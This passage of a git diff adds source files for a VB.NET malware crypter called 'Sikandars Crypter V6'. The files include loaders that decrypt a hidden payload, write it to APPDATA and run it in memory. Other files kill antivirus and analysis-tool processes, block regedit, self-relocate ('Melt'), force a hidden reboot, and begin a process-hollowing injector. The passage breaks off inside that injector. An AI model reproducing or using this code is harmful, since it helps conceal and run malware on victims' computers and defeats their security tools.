As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Invoke.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Invoke.txt new file mode 100644 index 0000000..6235c3f --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Invoke.txt @@ -0,0 +1,13 @@ + Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean + Dim vr1 As New Threading.Thread(AddressOf vr0) + vr1.SetApartmentState(Threading.ApartmentState.STA) + vr1.Start(bytes) + End Function + Private Shared Sub vr0(ByVal vr0 As Object) + Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint + If vr19.GetParameters.Length = 1 Then + vr19.Invoke(Nothing, New Object() {New String() {}}) + Else + vr19.Invoke(Nothing, Nothing) + End If + End Sub diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/KFunction.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/KFunction.txt new file mode 100644 index 0000000..7e9c0d6 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/KFunction.txt @@ -0,0 +1,15 @@ +Public Shared Function Killer(ByVal proc As String) As String + Try + While True + Dim p As System.Diagnostics.Process + For Each p In System.Diagnostics.Process.GetProcesses + If proc.Contains(p.ProcessName) Then + p.Kill() + End If + Next + System.Threading.Thread.Sleep(1) + End While + Catch ex As Exception + End Try + Return Nothing + End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Killers.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Killers.txt new file mode 100644 index 0000000..f22cd50 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Killers.txt @@ -0,0 +1,97 @@ + Shared Sub KKK + + Dim KF13 As New System.Threading.Thread(AddressOf F13) + + KF13.Start() + + Dim KF14 As New System.Threading.Thread(AddressOf F14) + + KF14.Start() + + Dim KF15 As New System.Threading.Thread(AddressOf F15) + + KF15.Start() + + Dim KF16 As New System.Threading.Thread(AddressOf F16) + + KF16.Start() + + Dim KF17 As New System.Threading.Thread(AddressOf F17) + + KF17.Start() + + Dim KF19 As New System.Threading.Thread(AddressOf F19) + + KF19.Start() + + Dim KF21 As New System.Threading.Thread(AddressOf F21) + + KF21.Start() + + Dim KF22 As New System.Threading.Thread(AddressOf F22) + + KF22.Start() + + Dim KF23 As New System.Threading.Thread(AddressOf F23) + + KF23.Start() + + Dim KF24 As New System.Threading.Thread(AddressOf F24) + + KF24.Start() + + Dim KF25 As New System.Threading.Thread(AddressOf F25) + + KF25.Start() + + Dim KF26 As New System.Threading.Thread(AddressOf F26) + + KF26.Start() + + Dim KF27 As New System.Threading.Thread(AddressOf F27) + + KF27.Start() + + End Sub + Shared Sub F13() + Killer("keyscrambler") + End Sub + Shared Sub F14() + Killer("bdagent") + End Sub + Shared Sub F15() + Killer("mbam") + End Sub + Shared Sub F16() + Killer("panda") + End Sub + Shared Sub F17() + Killer("zlclient") + End Sub + Shared Sub F19() + Killer("ollydbg") + End Sub + Shared Sub F21() + Killer("egui") + End Sub + Shared Sub F22() + Killer("hijackthis") + End Sub + Shared Sub F23() + Killer("npfmsg") + End Sub + Shared Sub F24() + Killer("SBAMsvc") + End Sub + Shared Sub F25() + Killer("wine") + End Sub + Shared Sub F26() + Killer("outpost") + End Sub + Shared Sub F27() + Killer("joeboxserver") + Killer("joeboxcontrol") + End Sub + + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Melt.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Melt.txt new file mode 100644 index 0000000..c44686f --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Melt.txt @@ -0,0 +1,28 @@ +'Shared Sub Melt(ByVal NewName As String) + ' Try + ' Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + ' If Application.StartupPath = NewFolder = False Then + ' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName) + ' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath) + ' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden + ' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden) + ' End + ' Else + ' Kill(Microsoft.VisualBasic.Command) + ' End If + ' Catch + ' End Try +'End Sub +Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer + Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer + Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer +Public Shared Sub Melt(ByVal Name As String) +Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + If IO.File.Exists(NewFolder & "\" & Name) Then + IO.File.Delete(NewFolder & "\" & Name) + End If + MoveFile(Microsoft.VisualBasic.Left(Application.ExecutablePath, _ + GetModuleFileName(0, Application.ExecutablePath, 256)), _ + NewFolder & "\" & Name, 8) + ExitProcess(0) +End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyDec.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyDec.txt new file mode 100644 index 0000000..70eec14 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyDec.txt @@ -0,0 +1,12 @@ +Public Shared Function PolyDec(ByVal Input As String) As String + Dim Output As String = Nothing + Dim SA() As String + SA = Input.Split("|") + For Each C As String In SA + Try + Output = Output & Chr(C - SA(0)) + Catch + End Try + Next + Return Output.Remove(0, 1) +End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyRC4Loader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyRC4Loader.txt new file mode 100644 index 0000000..fd3cc8d --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyRC4Loader.txt @@ -0,0 +1,13 @@ + Dim D As New PolyRC4(R.GetObject("K")) + Dim N As String = D.Decrypt(R.GetObject("NM")) + Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + If IO.File.Exists(I) Then + IO.File.Delete(I) + End If + Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I"))) + Try + My.Computer.FileSystem.WriteAllBytes(I, B, False) + Catch + End Try + Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F"))) + LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {C, I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyRC4Rev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyRC4Rev.txt new file mode 100644 index 0000000..515a06f --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyRC4Rev.txt @@ -0,0 +1,157 @@ +Public Class PolyRC4 + + Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf" + + Sub New(ByVal EncryptionKey As String) + + Key = EncryptionKey + + End Sub + + Public Function Encrypt(ByVal message As String) As String + + message = XX(message, Key) + + Dim random As New Random() + + Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList() + + Dim out As String = "" + + Dim num1 As Integer = random.[Next](1, 10255) + + For i As Integer = 0 To message.Length - 1 + + Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44 + + list1.Add(Convert.ToInt32(message(i)) + num2) + + list2.Add(num2) + + Next + + For j As Integer = 0 To message.Length - 1 + + out += ChrW(list1(j)) & ChrW(list2(j)) + + Next + + Return out + + End Function + + Public Function Decrypt(ByVal message As String) As String + + Dim numArray As Integer() = New Integer(message.Length - 1) {} + + Dim temp As String = "" + + For i As Integer = 0 To message.Length - 1 + + numArray(i) = Convert.ToInt32(message(i)) + + Next + + For j As Integer = 0 To message.Length - 1 Step 2 + + Dim num3 As Integer = numArray(j) + + Dim num4 As Integer = numArray(j + 1) + + Dim num5 As Integer = num3 - num4 + + temp = temp + ChrW(num5) + + Next + + Return XX(temp, Key) + + End Function + + Public Shared Function XX(ByVal message As String, ByVal password As String) As String + + Dim i As Integer = 0 + + Dim j As Integer = 0 + + Dim cipher As New StringBuilder + + Dim returnCipher As String = String.Empty + + Dim sbox As Integer() = New Integer(256) {} + + Dim key As Integer() = New Integer(256) {} + + Dim intLength As Integer = password.Length + + Dim a As Integer = 0 + + While a <= 255 + + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + + sbox(a) = a + + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + + End While + + Dim x As Integer = 0 + + Dim b As Integer = 0 + + While b <= 255 + + x = (x + sbox(b) + key(b)) Mod 256 + + Dim tempSwap As Integer = sbox(b) + + sbox(b) = sbox(x) + + sbox(x) = tempSwap + + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + + End While + + a = 1 + + While a <= message.Length + + Dim itmp As Integer = 0 + + i = (i + 1) Mod 256 + + j = (j + sbox(i)) Mod 256 + + itmp = sbox(i) + + sbox(i) = sbox(j) + + sbox(j) = itmp + + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + + itmp = Asc(ctmp) + + Dim cipherby As Integer = itmp Xor k + + cipher.Append(Chr(cipherby)) + + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + + End While + + returnCipher = cipher.ToString + + cipher.Length = 0 + + Return returnCipher + + End Function + + End Class \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyStairsLoader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyStairsLoader.txt new file mode 100644 index 0000000..a61d554 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyStairsLoader.txt @@ -0,0 +1,11 @@ +Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _ +R.GetObject("K"))) +Dim I As String = Environ("APPDATA") & "\" & N & ".exe" +If IO.File.Exists(I) Then + IO.File.Delete(I) +End If +Try + My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False) +Catch +End Try +LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyStairsRev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyStairsRev.txt new file mode 100644 index 0000000..24a0576 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyStairsRev.txt @@ -0,0 +1,14 @@ +Public Class PolyMorphicStairs + Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyDeCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + For i = 0 To (Data.Length - 1) * (ExtraRounds + 1) + Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256) + Next + Array.Resize(Data, Data.Length - 1) + Return Data + End Function + End Class \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyXORLoader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyXORLoader.txt new file mode 100644 index 0000000..7d78b0c --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyXORLoader.txt @@ -0,0 +1,11 @@ + Dim D As New Polymorphic(R.GetObject("K")) + Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))))) + Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + If IO.File.Exists(I) Then + IO.File.Delete(I) + End If + Try + My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False) + Catch + End Try + LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyXORRev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyXORRev.txt new file mode 100644 index 0000000..c9599a3 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/PolyXORRev.txt @@ -0,0 +1,78 @@ +Public Class PolyMorphic + 'Variable for the Key. + Private sKey As String = "" + 'Property, will Give us acces to the key. + Public Property Key() As String + Get + Return sKey + End Get + Set(ByVal value As String) + sKey = value + End Set + End Property + 'Inisalization. (New Constructor) + Public Sub New(ByVal Key As String) + Me.Key = Key + End Sub + Public Sub New() + Me.Key = "" + End Sub + 'This Will convert String to bytes,then call the other function. + Public Function PolyCrypt(ByVal Data As String) As String + Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data))) + End Function + 'This one also Will convert String to bytes,then call the other function. + Public Function PolyDeCrypt(ByVal Data As String) As String + Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data))) + End Function + 'Main PolyMorphic Encryption. + Public Function PolyCrypt(ByVal Data() As Byte) As Byte() + 'We declare a byte array, just one byte bigger then the data. + Dim ReturnBuffer(Data.Length) As Byte + 'we assain The first one with a random byte. + ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2))) + 'now for each byte in data + For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2) + 'we add the previous byte to the next byte Mod 256. the first byte is random, + 'so will will get random bytes all the way. + ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i)) + Next + 'We Call the Selected Encryption to crypt the randomized Data. + Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key)) + End Function + 'Main PolyMorphic Decryption. + Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte() + 'This Function is the exact reverse of the crypt function. + 'we should Decrypt to get our last randomized data. + Data = XorCrypt(Data, Encoding.Default.GetBytes(Key)) + 'Now in the other function the return value is a one byte bigger array. lets remove that one + Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte + 'we started from Byte n# 0 to the last one. we'll play it reversed now. + For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2) + 'We just remove The previous byte value from the current one Mod 256. simple + ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2))) + Next + 'That's it. The Buffer is one byte less then the data. Perfect. Return it. + Return ReturnBuffer + End Function + 'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255 + Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte + While Addition < Convert.ToInt32(0, 2) + ' + Addition += Convert.ToInt32(100000000, 2) + End While + Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2)) + End Function + 'Xor Encryption. + Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte() + If Key.Length <> 0 Then + For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2) + Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length) + Next + End If + Return Data + End Function + Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String + Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key))) + End Function + End Class \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/RC4.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RC4.txt new file mode 100644 index 0000000..1d8eb55 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RC4.txt @@ -0,0 +1,53 @@ +Public Shared Function Rc4(ByVal jm() As Byte, ByVal jmU() As Byte) As Byte() + + Dim s(Convert.ToInt32(11111111, &H2)) As Byte + + Dim i As Integer + + For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2) + + s(i) = CByte(i) + + Next + + Dim j As Integer + + For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2) + + j = (j + jmU(i Mod jmU.Length) + s(i)) And Convert.ToInt32(11111111, &H2) + + Dim temp As Byte = s(i) + + s(i) = s(j) + + s(j) = temp + + Next + + i = Convert.ToInt32(&H0, &H2) + + j = Convert.ToInt32(&H0, &H2) + + Dim output(jm.Length - Convert.ToInt32(&H1, &H2)) As Byte + + Dim k As Integer + + For k = Convert.ToInt32(&H0, &H2) To jm.Length - Convert.ToInt32(&H1, &H2) + + i = (i + Convert.ToInt32(1, &H2)) And Convert.ToInt32(11111111, &H2) + + j = (j + s(i)) And Convert.ToInt32(11111111, &H2) + + Dim temp As Byte = s(i) + + s(i) = s(j) + + s(j) = temp + + output(k) = s((CType(s(i), Integer) + s(j)) And Convert.ToInt32(11111111, &H2)) Xor jm(k) + + Next + + Return output + + End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/RC4Loader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RC4Loader.txt new file mode 100644 index 0000000..3109d67 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RC4Loader.txt @@ -0,0 +1,11 @@ +Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _ +R.GetObject("K"))) +Dim I As String = Environ("APPDATA") & "\" & N & ".exe" +If IO.File.Exists(I) Then + IO.File.Delete(I) +End If +Try + My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False) +Catch +End Try +LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Regedit.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Regedit.txt new file mode 100644 index 0000000..c27741d --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Regedit.txt @@ -0,0 +1,3 @@ +Shared Sub F60() + Killer("regedit") +End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/ResetStub.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/ResetStub.txt new file mode 100644 index 0000000..938ed02 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/ResetStub.txt @@ -0,0 +1,95 @@ +Option Explicit Off +Option Strict Off +Imports System.Reflection +Imports System.Runtime.InteropServices +Imports System +Imports Microsoft.VisualBasic +Imports System.Text +Imports System.Security.Cryptography +Imports Microsoft.Win32 +Imports System.Windows.Forms +Imports System.IO +Imports System.CodeDom.Compiler +'AssemblyCodes +Public Class Out + 'FakeAPI#1 + 'FakeAPI#2 + 'FakeAPI#3 + 'FakeAPI#4 + 'FakeAPI#5 + 'FakeAPI#6 + 'FakeAPI#7 + 'FakeAPI#8 + 'FakeAPI#9 + 'FakeAPI#A + 'FakeAPI#B + Shared Sub Main() + Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly) + 'MessageB + System.Threading.Thread.Sleep(DelayExe * 1000) + 'CallAntis + 'LoadMethod + 'KKK + 'AStartUpCall + 'CallWS + 'TaskManagerK + 'RegeditK + 'msconfigK + 'notepadK + 'dxdiagK + 'FolderOpts + 'meltcall + 'restart + 'Downloader + 'delHALDLL + 'Binder + End Sub + 'InjectionEncryptionAlgorithm + Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean + Try + Dim u As Assembly = file + Dim t As Type = u.[GetType]([Class]) + If t IsNot Nothing Then + Dim m As MethodInfo = t.GetMethod(Void) + If m IsNot Nothing Then + Return CBool(m.Invoke(Nothing, Parameters)) + End If + End If + Catch ex As Exception + End Try + End Function + 'Anti's Sub + 'FunctionA + 'Killer Sub + 'StubStrEncryption + 'KillerFunction + 'Websites + 'TaskmanagerSub + 'RegeditSub + 'msconfigSub + 'notepadSub + 'dxdiagSub + 'meltSub + 'junkFunction + 'InvokeSub + Public Shared Function ReverseString(ByVal s As String) As String + Dim arr As Char() = s.ToCharArray() + Array.Reverse(arr) + Return New String(arr) + End Function + Public Shared Function CC(ByVal Source As String) As Assembly + Dim Parameters As New CompilerParameters() + Dim cResults As CompilerResults = Nothing + Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp") + Parameters.GenerateExecutable = False + Parameters.GenerateInMemory = True + Parameters.ReferencedAssemblies.Add("System.dll") + Parameters.ReferencedAssemblies.Add("System.Management.dll") + Parameters.CompilerOptions = "/platform:x86" + Parameters.TreatWarningsAsErrors = False + cResults = Compiler.CompileAssemblyFromSource(Parameters, Source) + Return cResults.CompiledAssembly + End Function + 'Add2StartUp +End Class +'heavyJunk \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Restart.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Restart.txt new file mode 100644 index 0000000..a600fb7 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Restart.txt @@ -0,0 +1,6 @@ +Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart" +If Not IO.File.Exists(bytloc) Then + Dim filebyt As Byte() = New Byte() {} + My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False) + Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide) +End If \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/RijLoader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RijLoader.txt new file mode 100644 index 0000000..f3a29c1 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RijLoader.txt @@ -0,0 +1,14 @@ + Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K")) + Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + If IO.File.Exists(I) Then + IO.File.Delete(I) + End If + Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _ + R.GetObject("K"))) + Try + My.Computer.FileSystem.WriteAllBytes(I, II, False) + Catch + End Try + Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _ + R.GetObject("K"))) + LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/RijndaelRev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RijndaelRev.txt new file mode 100644 index 0000000..91534bb --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RijndaelRev.txt @@ -0,0 +1,42 @@ +Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String) + + Dim A As New RijndaelManaged + + Dim BC() As Byte + + Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _ + Convert.ToInt32(10, &H2), _ + Convert.ToInt32(11, &H2), _ + Convert.ToInt32(100, &H2), _ + Convert.ToInt32(101, &H2), _ + Convert.ToInt32(110, &H2), _ + Convert.ToInt32(111, &H2), _ + Convert.ToInt32(1000, &H2)} + + Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, BS) + + A.Key = oKeyGenerator.GetBytes(A.Key.Length) + + A.IV = oKeyGenerator.GetBytes(A.IV.Length) + + Dim ms As New IO.MemoryStream + + Dim cs As New CryptoStream(ms, A.CreateDecryptor(), CryptoStreamMode.Write) + + Try + + BC = Convert.FromBase64String(Decrypt) + + cs.Write(BC, Convert.ToInt32(&H0, &H2), BC.Length) + + cs.Close() + + Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray) + + Catch + + End Try + + Return Decrypt + + End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/RpE.Vb b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RpE.Vb new file mode 100644 index 0000000..faa4f66 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/RpE.Vb @@ -0,0 +1,82 @@ +using System.Runtime.InteropServices; +using System; +using System.Text; +public class IX +{ + [return: MarshalAs(UnmanagedType.Bool)] + [DllImport("kernel32")] + private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo); + [return: MarshalAs(UnmanagedType.Bool)] + [DllImport("kernel32")] + private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); + [DllImport("kernel32")] + private static extern bool SetThreadContext(IntPtr t, uint[] c); + [DllImport("ntdll")] + private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); + [return: MarshalAs(UnmanagedType.Bool)] + [DllImport("kernel32")] + private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead); + [DllImport("kernel32.dll")] + private static extern uint ResumeThread(IntPtr hThread); + [DllImport("kernel32")] + private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot); + [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, 